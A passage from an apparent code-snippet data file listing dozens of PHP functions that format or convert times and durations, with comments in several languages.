3600);\n\n return $hours.':'.$minutes.':'.$seconds;\n }", "function Hora_prog($valor){\t\n\n return date(\"H:i\", strtotime($valor));\n\n}", "function milisecond_to_time($time) {\n $hours = gmdate(\"H\", $time / 1000);\n $mins = gmdate(\"i\", $time / 1000);\n $seconds = gmdate(\"s\", $time / 1000);\n if($hours > 24) {\n $tags = Math.floor($hours/24);\n $hours = $hours % 24;\n }\n $res = \"$hours:$mins:$seconds\";\n return $res;\n }", "function convert_time ($time = '') {\n $str_time = '';\n\n $time_in_second = $time / 1000;\n\n $nb_minutes = $time_in_second / 60;\n $nb_seconds = $time_in_second % 60;\n\n $str_time = $nb_seconds.'s';\n\n if ($nb_minutes >= 60) {\n $nb_heures = $nb_minutes / 60;\n $nb_minutes = $nb_minutes % 60;\n $str_time = floor($nb_heures).'h '.$nb_minutes.'m '.$str_time;\t\t\t\t\t\t\t\t\t\n } else {\n $str_time = floor($nb_minutes).'m '.$str_time;\n }\t\t\n return $str_time;\n\n }", "function sec2time ($sec) {\n $sec = (int) $sec;\n $time = ''; $h = 0;\n if ($sec >= 3600 ) {\n $h = (int) ($sec / 3600);\n if ($h > 0) { $time .= $h.':'; }\n $sec = $sec - $h*3600;\n }\n $m = (int) ($sec / 60);\n if ($h == 0) { $time .= $m.':'; }\n else { $time .= sprintf(\"%02d\", $m).':'; };\n if ($m > 0) { $sec = $sec - $m*60; }\n $time .= sprintf(\"%02d\", $sec);\n return $time;\n}", "function format_time($t,$f=':'){\n\t\t//return ($t< 0 ? '-' : '') . sprintf(\"%02d%s%02d%s%02d\", floor(abs($t)/3600), $f, (abs($t)/60)%60, $f, abs($t)%60);\n\t\t\n\t\t$seconds = abs($t)%60;\n\t\t$minutes = (abs($t)/60)%60;\n\t \n\t\tif($seconds>30){\n\t\t\t$minutes = $minutes+1;\n\t\t}\n\t\treturn sprintf(\"%02d\",$minutes);//($t< 0 ? '-' : '') . sprintf(\"%02d%s%02d%s%02d\", floor(abs($t)/3600), $f, (abs($t)/60)%60, $f, abs($t)%60);\n }", "function timeElapsed($sec){\n\n if( $sec <= 1 ) 'Agora mesmo';\n\n $date = [ 'ano' => 31536000,\n 'mes' => 2592000,\n 'dia' => 86400,\n 'hora' => 3600,\n 'minuto' => 60,\n 'segundo' => 1];\n \n foreach( $date as $name => $time ){\n $qtde = $sec / $time;\n if( $qtde >= 1 ) return 'há ' . floor( $qtde ) . ' ' . $name . ($qtde > 2 ? 's' : '');\n }\n\n }", "function convertir_hora_militar($seg_ini) {\n\n\t\t\t$horas = floor($seg_ini/3600);\n\t\t\t$minutos = floor(($seg_ini-($horas*3600))/60);\n\t\t\t\t\t\t\t\n\t\t\treturn $horas.\":\".$minutos;\n\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t}", "public function timeFormat();", "function explode_tiempo($tiempo) {\n $arr_tiempo = explode(':', $tiempo);\n $segundos = $arr_tiempo[0] * 3600 + $arr_tiempo[1] * 60 + $arr_tiempo[2];\n return $segundos;\n }", "public function getTime() : string\r\n {\r\n return $this->format('H:i:s');\r\n }", "function formatDiffTime($t) {\n\n\t\t/*\n\t\tif ($t) {\n\t\t\t$t = $t/10; // convert from 10ths of seconds into seconds\n\t\t\tif ($t > 3600) \t\t\n\t\t\t\treturn sprintf(\"+%d:%02d:%02d\", $t/3600, ($t/60)%60, $t%60);\n\t\t\telse\n\t\t\t\treturn sprintf(\"+%d:%02d\", ($t/60)%60, $t%60);\n\t\t}\n\t\t*/\n\n\t\t// This code does mmm:ss for everyone\n\t\tif ($t) {\n\t\t\t$t = $t/10; // convert from 10ths of seconds into seconds\n\t\t\treturn sprintf(\"+%d:%02d\", ($t/60), $t%60);\n\t\t}\n\n\t\treturn null;\n\t}", "function timeConversion($s) {\n return DATE(\"H:i:s\", STRTOTIME($s));\n\n}", "function formatear_hora($parametro){\n\n\t\t/* Declaro variables personalizadas para que queden claros los datos */\n\t\t$hora = substr($parametro, 11, 2);\n\t\t$minuto = substr($parametro, 14, 2);\n\t\t$dia = substr($parametro, 8, 2);\n\t\t$mes = substr($parametro, 5, 2);\n\t\t\n\t\t/* Generamos el formato */\n\t\t$temp = $hora.\":\".$minuto;\n\t\t\n\t\treturn $temp;\n\t}", "private function GetTimeHHMM() : string {\n\t\t\t$dt = new DateTime();\n\t\t\t$dtz = new DateTimeZone(\"EUROPE/Berlin\");\n\t\t\t$dt->setTimezone($dtz);\n\t\t\treturn $dt->format(\"H:i\");\n\t\t}", "function formatTime($sec){\n if($sec > 100){\n $sec /= 60;\n if($sec > 100){\n $sec /= 60;\n return number_format($sec) . \" hr\";\n }\n return number_format($sec) . \" min\";\n }\n return number_format($sec) . \" sec\";\n}", "function turnTotalMinsIntoTime($totalMins) {\n $mins = intval($totalMins % 60);\n $hour = round((($totalMins - $mins) / 60),0);\n $mins = strlen($mins) < 2 ? \"0\".$mins : $mins;\n return $hour.\":\".$mins;\n}", "function horas_em_mintutos($hora)\n{\n\n if ($hora == '') {\n $hora = '00:00';\n }\n\n $h1 = explode(\":\", $hora);\n\n\n $minuto = $h1[1];\n $horas = $h1[0];\n\n\n if ($horas > 0) {\n\n if (substr($horas, 0, 1) == 0) {\n $horas = substr($horas, 1, 1);\n }\n\n $horas = $horas * 60;\n\n $minuto = $minuto + $horas;\n }\n\n\n\n\n return $minuto;\n}", "function pasarATiempo($tiempo) {\n if ($tiempo == '::')\n return FALSE;\n else {\n $tiempo = preg_split(\"/[:]/\", $tiempo);\n $milisegundos = ((int) $tiempo[0]) * 3600 + ((int) $tiempo[1]) * 60 + ((int) $tiempo[2]);\n return $milisegundos;\n }\n }", "public function toTimeString()\n {\n return $this->toLocalizedString('HH:mm:ss');\n }", "public static function formatTime($seconds){\n $time = \"\";\n // avoid dummi values\n if($seconds != \"n/a\"){\n $hours = floor($seconds / 3600);\n $mins = floor(($seconds - ($hours*3600)) / 60);\n $secs = floor(($seconds - ($hours*3600)) % 60);\n\n if($hours < 10)\n $hours = \"0\".$hours;\n if($mins < 10)\n $mins = \"0\".$mins;\n if($secs < 10)\n $secs = \"0\".$secs;\n\n $time = $hours.\":\".$mins.\":\".$secs;\n }\n else\n $time = \"n/a\";\n\n return $time; \n }", "function getTimeS($timestamp){\n\t\tif ($timestamp > 60*60*24){\n\t\t\t$timestamp = $timestamp % (60*60*24) + 2*(60*60);\n\t\t}\n\t\t$hours = intval($timestamp / (60*60));\n\t\t$minutes = intval(($timestamp % (60*60)) / 60);\n\t\treturn sprintf('%02d', $hours).\":\".sprintf('%02d', $minutes); \n\t}", "public function getTimeFormatter();", "function get_hh_ss($seconds) {\n $hours = floor($seconds / 60 / 60);\n $minutes = floor(($seconds - ($hours * 60 * 60)) / 60);\n $d_seconds = $seconds - (($hours * 60 * 60) + ($minutes * 60));\n $f_hours = strlen($hours) == 1 ? \"0$hours\" : $hours;\n $f_minutes = strlen($minutes) == 1 ? \"0$minutes\" : $minutes;\n $f_seconds = strlen($d_seconds) == 1 ? \"0$d_seconds\" : $d_seconds;\n return \"$f_hours:$f_minutes:$f_seconds\";\n}", "static function ts(){\r\n $dt = microtime(true) - self::$starttime;\r\n return self::mtformat($dt);\r\n }", "function get_hh_mm($seconds) {\n $hours = floor($seconds / 60 / 60);\n $remaining_seconds = $seconds - ($hours * 60 * 60);\n $minutes = floor($remaining_seconds / 60);\n $f_hours = strlen($hours) == 1 ? \"0$hours\" : $hours;\n $f_minutes = strlen($minutes) == 1 ? \"0$minutes\" : $minutes;\n return \"$f_hours:$f_minutes\";\n}", "function timeConversion($s) {\n /*\n * Write your code here.\n */\n $tim = \"\";\n $arr = preg_split(\"/[:]/\",$s);\n\n if( preg_match( '/AM$/', $arr[2]) ) {\n $replace = str_replace('AM', '', $arr[2]);\n if($arr[0] === \"12\"){\n $arr[0] = \"00\";\n }\n }else{ // PM\n $replace = str_replace('PM', '', $arr[2]);\n\n if($arr[0] !== \"12\"){\n $arr[0] = strval(intval($arr[0]) + 12);\n }\n }\n $arr[2] = $replace;\n return $arr[0] .\":\". $arr[1] .\":\". $arr[2];\n}", "function value_time($value){\r\n\t$separator = \":\";\r\n\tif(strlen($value) == 12){\r\n\t\t$value = substr($value, 0, 8);\r\n\t}\r\n\tif((strlen($value) == 8) && (substr($value, 2, 1) == $separator) && (substr($value, 5, 1) == $separator)){\r\n\t\t$hou = (int) substr($value, 0, 2);\r\n\t\t$min = (int) substr($value, 3, 2);\r\n\t\t$sec = (int) substr($value, 6, 2);\r\n\t}elseif((strlen($value) == 5) && (substr($value, 2, 1) == $separator)){\r\n\t\t$hou = (int) substr($value, 0, 2);\r\n\t\t$min = (int) substr($value, 3, 2);\r\n\t\t$sec = 0;\r\n\t}else{\r\n\t\treturn NULL;\r\n\t}\r\n\tif(($hou < 0 || $hou > 23) || ($min < 0 || $min > 59) || ($sec < 0 || $sec > 59)){\r\n\t\treturn NULL;\r\n\t}else{\r\n\t\treturn str_pad($hou, 2, \"0\", STR_PAD_LEFT).$separator.str_pad($min, 2, \"0\", STR_PAD_LEFT).$separator.str_pad($sec, 2, \"0\", STR_PAD_LEFT);\r\n\t}\r\n}", "public function asString(): string\n {\n $hours = floor($this->value / 3600);\n $minutes = floor($this->value / 60) - ($hours * 60);\n $seconds = $this->value - ($minutes * 60) - ($hours * 3600);\n\n $hours = ($hours < 10) ? \"0{$hours}\" : $hours;\n $minutes = ($minutes < 10) ? \"0{$minutes}\" : $minutes;\n $seconds = ($seconds < 10) ? \"0{$seconds}\" : $seconds;\n\n return \"{$hours}:{$minutes}:{$seconds}\";\n }", "public function toTimeString()\n {\n return $this->format('H:i:s');\n }", "function msecsToTime($content)\n{\n\t$secs = floor($content / 1000);\n\t$mins = floor($secs / 60);\n\t$hours = floor($mins / 60);\n\t$secs = $secs % 60;\n\t$mins = $mins % 60; \n\tif (strlen($mins) < 2) $mins = \"0\" . $mins;\n\treturn \"$hours\" . \":\" . \"$mins\";\n}", "function timecheck ($time) {\n $min = 0;\n if($time->h >= 1) {\n $min += 60*$time->h;\n }\n $min += $time->i;\n if($min == 0) {\n return \"Passage en cours...\";\n } else {\n return $min.\" min\";\n }\n \n\n}", "function m2h($mins) {\n if ($mins < 0)\n $min = abs($mins); \n else\n $min = $mins; \n \n // Arredonda a hora\n $h = floor($min / 60); \n $m = ($min - ($h * 60)) / 100; \n $horas = $h + $m; \n \n // Matemática da quinta série\n // Detalhe: Aqui também pode se usar o abs()\n if ($mins < 0)\n $horas *= -1; \n \n // Separa a hora dos minutos\n $sep = explode('.', $horas); \n $h = $sep[0]; \n if (empty($sep[1]))\n $sep[1] = 0; \n \n $m = $sep[1]; \n \n // Aqui um pequeno artifício pra colocar um zero no final\n if (strlen($m) < 2)\n $m = $m . 0; \n if($h > 0){\n\t\t\treturn sprintf('%2dh e %2dm', $h, $m);\n }else{\n\t\t\treturn sprintf('%2dm', $m);\n\t\t}\t\n}", "function format_time($secs) {\n\t\t $times = array(3600, 60, 1);\n\t\t $time = '';\n\t\t $tmp = '';\n\t\t for($i = 1; $i < 3; $i++) {\n\t\t\t $tmp = floor($secs / $times[$i]);\n\t\t\t if($tmp < 1) {\n\t\t\t\t $tmp = '00';\n\t\t\t }\n\t\t\t elseif($tmp < 10) {\n\t\t\t\t $tmp = '0' . $tmp;\n\t\t\t }\n\t\t\t $time .= $tmp;\n\t\t\t if($i < 2) {\n\t\t\t\t $time .= ':';\n\t\t\t }\n\t\t\t $secs = $secs % $times[$i];\n\t\t }\n\t\t return $time;\n\t\t}", "static function time($value){\n\t\t$separator = \":\";\n\t\t$value = substr($value, 0, 8);\n\t\tif((strlen($value) == 8) && (substr($value, 2, 1) == $separator) && (substr($value, 5, 1) == $separator)){\n\t\t\t$hou = (int) substr($value, 0, 2);\n\t\t\t$min = (int) substr($value, 3, 2);\n\t\t\t$sec = (int) substr($value, 6, 2);\n\t\t}elseif((strlen($value) == 5) && (substr($value, 2, 1) == $separator)){\n\t\t\t$hou = (int) substr($value, 0, 2);\n\t\t\t$min = (int) substr($value, 3, 2);\n\t\t\t$sec = 0;\n\t\t}else{\n\t\t\treturn null;\n\t\t}\n\t\tif(($hou < 0 || $hou > 23) || ($min < 0 || $min > 59) || ($sec < 0 || $sec > 59)){\n\t\t\treturn null;\n\t\t}else{\n\t\t\treturn str_pad($hou, 2, \"0\", STR_PAD_LEFT).$separator.str_pad($min, 2, \"0\", STR_PAD_LEFT).$separator.str_pad($sec, 2, \"0\", STR_PAD_LEFT);\n\t\t}\n\t}", "private function time_rule($time){\n $hour = floor($time/3600);//divisão retornando parte inteira.\n $hour_rest = fmod($time, 3600);//divisão retornando restante\n $min = floor($hour_rest/60); // calculo de minutos apartir do restante de horas\n $sec = fmod($hour_rest, 60); // calculos dos segundos\n return $this->number_format($sec,$min,$hour);\n }", "public function getFormattedTurnaroundTime()\n\t{\n\t\t\n\t\t$tat = $this->getTurnaroundTime();\n\t\t\n\t\t$ftat = \"\";\n\t\t$tat_y = intval($tat/(365*24*60*60));\n\t\t$tat_w = intval(($tat-($tat_y*(365*24*60*60)))/(7*24*60*60));\n\t\t$tat_d = intval(($tat-($tat_y*(365*24*60*60))-($tat_w*(7*24*60*60)))/(24*60*60));\n\t\t$tat_h = intval(($tat-($tat_y*(365*24*60*60))-($tat_w*(7*24*60*60))-($tat_d*(24*60*60)))/(60*60));\n\t\t$tat_m = intval(($tat-($tat_y*(365*24*60*60))-($tat_w*(7*24*60*60))-($tat_d*(24*60*60))-($tat_h*(60*60)))/(60));\n\t\t$tat_s = intval(($tat-($tat_y*(365*24*60*60))-($tat_w*(7*24*60*60))-($tat_d*(24*60*60))-($tat_h*(60*60))-($tat_m*(60))));\n\t\tif($tat_y > 0) $ftat = $tat_y.\" \".Lang::choice('messages.year',$tat_y).\" \";\n\t\tif($tat_w > 0) $ftat .= $tat_w.\" \".Lang::choice('messages.week',$tat_w).\" \";\n\t\tif($tat_d > 0) $ftat .= $tat_d.\" \".Lang::choice('messages.day',$tat_d).\" \";\n\t\tif($tat_h > 0) $ftat .= $tat_h.\" \".Lang::choice('messages.hour',$tat_h).\" \";\n\t\tif($tat_m > 0) $ftat .= $tat_m.\" \".Lang::choice('messages.minute',$tat_m).\" \";\n\t\tif($tat_s > 0) $ftat .= $tat_s.\" \".Lang::choice('messages.second',$tat_s);\n\n\t\treturn $ftat;\n\t}", "function SecondsToTimeNEW($inputTime) \n{\t\n\t//echo nl2br(\"Seconds are now: $Seconds \\n\");\n\t//HOUR\n\tif($inputTime>=(60*60))\n\t{\n\t\t$CaryOver=$inputTime%(60*60);\n\t\t$Hours=floor($inputTime/(60*60));\n\t\t$inputTime=$CaryOver;\n\t\t\n\t}\n //MIN\n\tif($inputTime>=60)\n\t{\n\t\t$CaryOver=$inputTime%60; //Remainder\n\t\t$Minutes=floor($inputTime/60);\n\t\t$inputTime=$CaryOver;\n\t\t//echo nl2br(\"Minutes are now: $CarryOver \\n\");\n\t\t\n\t}\n\t//SEC\n\t$Seconds=$inputTime;\n\t\t\n\t//NOW Correct the FORMAT\n\tif($Hours<10)\n\t{$Hours=\"0\".$Hours;}\t\n\tif($Minutes<10)\n\t{$Minutes=\"0\".$Minutes;}\n\tif($Seconds<10)\n\t{$Seconds=\"0\".$Seconds;}\n\t\n\t\n\treturn (\"$Hours:$Minutes:$Seconds\");\n}", "function segundos_hhmm($seg) {\n $horas = floor($seg / 3600);\n $minutos = floor($seg / 60 % 60);\n $segundos = floor($seg % 60);\n\n return sprintf('%02d:%02d:%02d', $horas, $minutos, $segundos);\n }", "function tstotime($timestamp){\n return date(\"Y-m-d H:i:s\", $timestamp);\n}", "function getFormattedTime($seconds) {\r\n\t\t\t\t$formatted = \"\";\r\n\t\t\t\t\r\n\t\t\t\t// Calculate the amount of hours, minutes, and seconds.\r\n\t\t\t\t$hours = floor($seconds / 3600);\r\n\t\t\t\t$formatted .= str_pad($hours, 2, \"0\", STR_PAD_LEFT) . 'h ';\r\n\t\t\t\t$minutes = floor(($seconds / 60) - ($hours * 60)); \r\n\t\t\t\t$formatted .= str_pad($minutes, 2, \"0\", STR_PAD_LEFT) . 'm ';\r\n\t\t\t\t$seconds = floor($seconds - $hours * 3600 - $minutes * 60); \r\n\t\t\t\t$formatted .= str_pad($seconds, 2, \"0\", STR_PAD_LEFT) . 's ';\r\n\t\t\t\t\r\n\t\t\t\t// Return the new formatted string.\r\n\t\t\t\treturn $formatted;\r\n\t\t\t}", "static function string_format_time($time){\r\n $h = intval($time / 60);\r\n $min = $time % 60;\r\n $ret = '';\r\n\r\n if($h > 0){\r\n if($h == 1){\r\n $ret .= $h.' heure ';\r\n } else {\r\n $ret .= $h.' heures ';\r\n }\r\n }\r\n\r\n if($min > 0){\r\n $ret .= $min . ' minutes';\r\n }\r\n\r\n if($time == 0){\r\n $ret .= '0 heure';\r\n }\r\n\r\n return $ret;\r\n }", "function getTimeFromSeconds($seconds = '') {\n\n\t\t$hours = floor($seconds / 3600);\n\t\t$mins = floor($seconds / 60 % 60);\n\t\t$secs = floor($seconds % 60);\n\n\t\t$timeFormat = sprintf('%02d:%02d:%02d', $hours, $mins, $secs);\n\n\t\treturn $timeFormat;\n\t}", "public function getTiempoTranscurrido()\r\n {\r\n $fecha1 = new DateTime($this->fechaDeInicio);\r\n $fecha2 = new DateTime(date(\"Y-m-d H:i:s\")); //fecha de cierre\r\n $intervalo = $fecha1->diff($fecha2); // differencia\r\n return $intervalo->format(\"%s\");\r\n }", "function countTime($connection, $sql_tiempo){\n $sql = mysqli_query($connection, $sql_tiempo);\n $horas = 0;\n $minutos = 0;\n while($row = mysqli_fetch_row($sql)){\n \n $timeTo = explode(':', $row[0]);\n \n $horas += intval($timeTo[0]);\n $minutos += intval($timeTo[1]);\n \n }\n $final_time = intval((($horas*60) + $minutos)/60).\":\".(($horas*60) + $minutos)%60;\n return $final_time;\n}", "function seconds_to_time_format($seconds = 0, $include_seconds = false) {\r\n $hours = floor($seconds / 3600);\r\n $mins = floor(($seconds - ($hours * 3600)) / 60);\r\n $secs = floor($seconds % 60);\r\n\r\n $hours = ($hours < 10) ? \"0\" . $hours : $hours;\r\n $mins = ($mins < 10) ? \"0\" . $mins : $mins;\r\n $secs = ($secs < 10) ? \"0\" . $secs : $secs;\r\n $sprintF = $include_seconds == true ? '%02d:%02d:%02d' : '%02d:%02d';\r\n return sprintf($sprintF, $hours, $mins, $secs);\r\n}", "function convertToHoursMins($time, $format = '%02d:%02d')\n{\n if ($time < 1) {\n return;\n }\n $hours = floor($time / 60);\n $minutes = ($time % 60);\n return sprintf($format, $hours, $minutes);\n}", "function toS($t, $f = '%dh %dm') {\n if (intval($t) < 1) {\n\t\t\t\t return;\n\t\t\t }\n\t\t\t $h = floor($t/60);\n\t\t\t $m = $t%60;\n\t\t\t return sprintf($f, $h, $m);\n\t\t}", "function seconds_to_time( $seconds, $format = 'H:m:s' ) {\n\t// extract hours\n\t$hours = floor($seconds / (60 * 60));\n\t\n\t// extract minutes\n\t$divisor_for_minutes = $seconds % ( 60 * 60 );\n\t$minutes = floor( $divisor_for_minutes / 60 );\n\t\n\t// extract the remaining seconds\n\t$divisor_for_seconds = $divisor_for_minutes % 60;\n\t$seconds = ceil( $divisor_for_seconds );\n\t\n\t$format = str_replace( 'H', str_pad( $hours, 2, \"0\", STR_PAD_LEFT ), $format );\n\t$format = str_replace( 'm', str_pad( $minutes, 2, \"0\", STR_PAD_LEFT ), $format );\n\t$format = str_replace( 's', str_pad( $seconds, 2, \"0\", STR_PAD_LEFT ), $format );\n\t\n\treturn $format;\n\t\n}", "function mysqlTime()\r\n {\r\n $hour = $this->addZero( $this->hour() );\r\n $minute = $this->addZero( $this->minute() );\r\n $second = $this->addZero( $this->second() );\r\n\r\n return $hour . \":\" . $minute . \":\" . $second;\r\n }", "public function time() {\n return date('j F Y, H:i', $this->time_changed); // 12 October 2010, 09:14\n // return date('j F Y, h:ia', $this->time_changed); // 12 October 2010, 09:14am\n }", "protected function processTime($time)\n {\n return \\PHPExcel_Style_NumberFormat::toFormattedString($time,'hh:mm:ss');\n }", "function convertTime($number)\n{\n $str_arr = explode('.', $number);\n\n $num = ($str_arr[0]);\n //floatval\n $point = ($str_arr[1]);\n $count = strlen($str_arr[1]);\n\n if ($count == 1 && $point < 10) {\n $point = $point * 10;\n }\n\n while ($point >= 60) {\n $num = $num + 1;\n $point = $point - 60;\n }\n $t = floatval($num . \".\" . $point);\n\n return $t;\n}", "protected function get_time() {\n// Format is ddhhmmZ where dd = day, hh = hours, mm = minutes in UTC time.\n if (preg_match('#^([0-9]{2})([0-9]{2})([0-9]{2})Z$#',$this->current_group_text,$pieces)) {\n\n// date_default_timezone_set('UTC');\n $month_start = date('m',$this->timestamp);\n $year_start = date('Y',$this->timestamp);\n\n $hour = $pieces[2];\n $minute = $pieces[3];\n $day = $pieces[1];\n\n $this->wxInfo['ITEMS'][$this->tend]['CODE_TIME'] = $this->current_group_text;\n// $this->wxInfo['ITEMS'][$this->tend]['DATE_DAY'] = $pieces[1];\n// $this->wxInfo['ITEMS'][$this->tend]['DATE_TIME'] = $pieces[2].':'.$pieces[3];\n\n $this->wxInfo['ITEMS'][$this->tend]['DATE_TIMESTAMP'] = mktime( $hour, $minute, 0, $month_start, $day, $year_start);\n\n $this->current_ptr++;\n }\n $this->current_group++;\n }", "function timeConversion($s) {\n /*\n * Write your code here.\n */\n $timeArray = explode(':', $s);\n $hour = $timeArray[0];\n $minute = $timeArray[1];\n $sec = $timeArray[2];\n $period = substr($sec, 2);\n $originalSec = rtrim($sec, $period);\n $newTime;\n if((0 <= $hour && $hour < 12) && ($period == 'AM')) {\n $newTime = $hour.\":\".$minute.\":\".$originalSec;\n }elseif ((0 <= $hour && $hour < 12) && ($period == 'PM')) {\n $newTime = 12+$hour.\":\".$minute.\":\".$originalSec;\n }elseif (($hour == 12) && ($period == 'AM')) {\n $newTime = \"00\".\":\".$minute.\":\".$originalSec;\n }elseif (($hour == 12) && ($period == 'PM')) {\n $newTime = $hour.\":\".$minute.\":\".$originalSec;\n }\n\n return $newTime; \n\n\n\n}", "function get_time_description($seconds)\r\n{\r\n $weeks = (int) ($seconds / 604800);\r\n $weeks_p = $weeks > 1 ? 'weeks' : 'week';\r\n $days=(int)($seconds/86400);\r\n $days_p = $days > 1 ? 'days' : 'day';\r\n $hours = (int)(($seconds-($days*86400))/3600);\r\n $mins = (int)(($seconds-$days*86400-$hours*3600)/60);\r\n $secs = (int)($seconds - ($days*86400)-($hours*3600)-($mins*60));\r\n\r\n //build a string\r\n $ret = \"$secs sec\";\r\n if ($mins > 0 && $sec >= 0)\r\n $ret = \"$mins min $ret\";\r\n if ($hours > 0 && $min >= 0 && sec >=0)\r\n $ret = \"$hours hours $ret\";\r\n if ($days > 0 && $hours >= 0 && $min >= 0 && sec >= 0)\r\n $ret = \"$days $days_p $ret\";\r\n\r\n return $ret;\r\n}", "function minutos2horas($mins) {\nif ($mins < 0)\n\t$min = abs($mins);\nelse\n\t$min = $mins;\n \n$h = floor($min / 60);\n$m = ($min - ($h * 60)) / 100;\n$horas = $h + $m;\n \nif ($mins < 0)\n\t$horas *= -1;\n\n$sep = explode('.', $horas);\n$h = $sep[0];\nif (empty($sep[1]))\n\t$sep[1] = 00;\n\t$m = $sep[1];\n \nif (strlen($m) < 2)\n\t$m = $m . 0;\nreturn $h.':'.$m;\n }", "public static function timeunit(/* Long */ $time) {\n if ($time == null)\n return '';\n $sec = (int) $time % 60;\n $min = (int) ($time / 60) % 60;\n $hours = (int) ($time / 3600);\n return \"$hours:\" . sprintf('%02d', $min) . ':' . sprintf('%02d', $sec);\n }", "function getTimestamp($datum,$uur){\n\t\tlist($uur,$min)=split(':',$uur);\n\t\t//print(date('D d M Y h:m',$datum));\n\t\t//print (\"uur $uur min $min\");\n\t\t$result=strtotime(\"+ $uur hours $min minutes\",$datum);\n\t\t\n\t\treturn $result;\n\t}", "function convertToHoursMins($time, $format = '%02d:%02d') \n {\n if ($time < 1) {\n return;\n }\n $hours = floor($time / 60);\n $minutes = ($time % 60);\n $result['hours'] = $hours;\n $result['minutes'] = $minutes;\n return $result;\n }", "function times2str_ampm ($t) {\n\tif ($t == '00:00:00' OR $t == '') {\n\t\treturn $t;\n\t}\n\tlist($h,$m,$s) = explode(\":\",$t);\n\t$ampm = ($h >= 12) ? \"PM\" : \"AM\";\n\t$h = ($h > 12) ? $h - 12 : $h;\n\treturn \"{$h}:{$m}:{$s} {$ampm}\";\n}", "public function getTripTimeAttribute()\n { \n $begin_time = new DateTime($this->attributes['begin_trip']);\n $end_time = new DateTime($this->attributes['end_trip']);\n $timeDiff = date_diff($begin_time,$end_time);\n return $timeDiff->format('%H').':'.$timeDiff->format('%I').':'.$timeDiff->format('%S');\n \n }", "function time2str ($t) {\n\tif ($t == '00:00:00' OR $t == '') {\n\t\treturn '';\n\t}\n\tlist($h,$m,$s) = explode(\":\",$t);\n\t$ampm = ($h >= 12) ? \"p.m.\" : \"a.m.\";\n\t// if between 12 - 1 p.m.\n if ($h % 12 == 0) {\n return ($m > 0) ? \"12:\" . $m . \" \" . $ampm : \"Noon\";\n\t } else {\n\t\t\treturn ($m > 0) ? $h % 12 . \":\" . $m . \" \" . $ampm : $h % 12 . \" \" . $ampm;\n\t }\n}", "public function timeSend()\n {\n if ($this->time) {\n return $this->time->format('H:i:s');\n }\n }", "function getTime($timestamp) {\r\n $old = strtotime($timestamp); \r\n $diff = time() - $old; \r\n $old = date('d/m/y', $old);\r\n\r\n if ($diff /60 <1) {\r\n return intval($diff%60).\" secondi fa\";\r\n } else if (intval($diff/60) == 1) {\r\n return \"Un minuto fa\"; \r\n } else if ($diff / 60 < 60) {\r\n return intval($diff/60).\" minuti fa\";\r\n } else if (intval($diff / 3600) == 1) {\r\n return \"Un'ora fa\";\r\n } else if ($diff / 3600 <24) {\r\n return intval($diff/3600) . \" ore fa\";\r\n } else if (intval($diff/86400) == 1) {\r\n return \"Ieri\";\r\n } else if ($diff/86400 < 30) {\r\n return intval($diff/86400) . \" giorni fa\";\r\n } else {\r\n return $old; \r\n }\r\n }", "static function formatTime($time){\n return date('j.n.Y G:i:s', $time);\n\n }", "function formatSeconds( $seconds ) {\n $hours = 0;\n $milliseconds = str_replace( \"0.\", '', $seconds - floor( $seconds ) );\n\n if ( $seconds > 3600 ) {\n $hours = floor( $seconds / 3600 );\n }\n $seconds = $seconds % 3600;\n\n return str_pad( $hours, 2, '0', STR_PAD_LEFT ) . gmdate( ':i:s', $seconds ) . ($milliseconds ? \".$milliseconds\" : '') ;\n}", "function interval_date($init,$finish)\n {\n $diferencia = strtotime($finish) - strtotime($init);\n \n //comprobamos el tiempo que ha pasado en segundos entre las dos fechas\n //floor devuelve el número entero anterior, si es 5.7 devuelve 5\n if($diferencia < 60){\n $tiempo = \"Hace \" . floor($diferencia) . \" segundos\";\n }else if($diferencia > 60 && $diferencia < 3600){\n $tiempo = \"Hace \" . floor($diferencia/60) . \" minutos'\";\n }else if($diferencia > 3600 && $diferencia < 86400){\n $tiempo = \"Hace \" . floor($diferencia/3600) . \" horas\";\n }else if($diferencia > 86400 && $diferencia < 2592000){\n $tiempo = \"Hace \" . floor($diferencia/86400) . \" días\";\n }else if($diferencia > 2592000 && $diferencia < 31104000){\n $tiempo = \"Hace \" . floor($diferencia/2592000) . \" meses\";\n }else if($diferencia > 31104000){\n $tiempo = \"Hace \" . floor($diferencia/31104000) . \" años\";\n }else{\n $tiempo = \"Error\";\n }\n return $tiempo;\n }", "function times2str ($t1,$t2) {\n\tif ($t1 == '00:00:00' OR $t1 == '')\n\t\treturn '';\n\t// no end time\n\tif ($t2 == '00:00:00' OR $t2 == '')\n\t\treturn time2str($t1);\n\tlist($h1,$m1,$s1) = explode(\":\",$t1);\n\tlist($h2,$m2,$s2) = explode(\":\",$t2);\n\t$ampm1 = ($h1 >= 12) ? \" p.m.\" : \" a.m.\";\n\t$ampm2 = ($h2 >= 12) ? \" p.m.\" : \" a.m.\";\n\t$ampm1 = ($ampm1 != $ampm2) ? $ampm1 : \"\";\n\t// if time1 is 12:xx p.m.\n\tif ($h1 == \"12\") {\n\t\t$time_str = ($m1 > 0) ? \"12:\" . $m1 . $ampm1 : \"Noon\";\n\t} else {\n\t\t$time_str = ($m1 > 0) ? $h1 % 12 . \":\" . $m1 . $ampm1 : $h1 % 12 . $ampm1;\n\t}\n\t$time_str .= \"-\";\n\tif ($h2 == \"12\") {\n\t\t$time_str .= ($m2 > 0) ? \"12:\" . $m2 . $ampm2 : \"Noon\";\n\t} else {\n\t\t$time_str .= ($m2 > 0) ? $h2 % 12 . \":\" . $m2 . $ampm2 : $h2 % 12 . $ampm2;\n\t}\n\treturn ($time_str);\n}", "public function gettimeModifiedAttribute()\n {\n return Carbon::parse($this->time)->translatedFormat('g:i A');\n }", "public static function renderTime($time)\n {\n return floor($time / 60) . \" min \" . $time % 60 . \" secondes\";\n }", "public function formatTime($value)\n\t{\n\t\treturn $value;\n\t}", "function hms($duree = 0) \n\t{\n\t\t$heures = round($duree / 3600);\n\t\t$minutes = round(($duree - $heures * 3600) / 60);\n\t\t$secondes = round(($duree - $heures * 3600 - $minutes * 60) / 60);\n\n\t\treturn str_pad($heures, 2, \"0\", STR_PAD_LEFT).':'.str_pad($minutes, 2, \"0\", STR_PAD_LEFT).':'.str_pad($secondes, 2, \"0\", STR_PAD_LEFT);\n\t}", "function formatToTimestamp($data){\n\t\tif( (isset($data['data']) && $data['data'] =='') || (!isset($data['data'] )) ){\n\t\t\t$datahora = 'now';\t\t\t\t\t\n\t\t}\n\t\telse{\n\t\t\tif( (isset($data['horas']) && $data['horas'] =='') || (!isset($data['horas'])) )\n\t\t\t\t$data['horas'] \t = 